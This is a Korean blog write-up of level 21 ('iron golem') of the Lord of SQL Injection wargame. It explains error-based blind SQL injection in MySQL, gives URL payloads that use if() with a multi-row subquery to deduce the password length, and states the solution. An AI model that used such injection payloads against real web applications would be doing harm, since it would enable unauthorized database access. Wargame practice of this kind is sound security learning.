관리 메뉴

Information Security

[LOS] 21. iron golem 본문

WarGame/Lord of SQL Injection

[LOS] 21. iron golem

HackingPractice 2020. 8. 11. 13:06

그림 21-1 iron_golem

Error Based Blind SQL Injection 

MySQL에서 if() 함수를 사용하면 참일 때와 거짓일 때 에러를 구분하여 발생시킬 수 있게 만들 수 있습니다.

if(1=2, 'True', 'False'); False
if(1=1, 'True','Fasle)'); True

 

?pw=''' 입력 시 아래와 같은 에러가 발생한다.

그림 21-2 MySQL Error

?pw=1%27 or if(length(pw)=15,(select 1 union select 2),1)%23 입력 시 아무런 메시지가 보이지 않았다.

그림 21-3 false

?pw=1%27 or if(length(pw)=16,(select 1 union select 2),1)%23 입력 시 Subquery retruns more than 1 row 메시지를 확인할 수 있다.

그림 21-4 true
그림 21-5 소스코드

?pw=!!!! 입력 시 해결되는 것을 알 수 있다.

그림 21-6 정답

'WarGame > Lord of SQL Injection' 카테고리의 다른 글

[LOS] 23. hell fire  (0) 2020.08.13
[LOS] 22. dark eyes  (0) 2020.08.13
[LOS] 20. dragon  (0) 2020.08.10
[LOS] 19. xavis  (0) 2020.08.10
[LOS] 18. nightmare  (0) 2020.08.10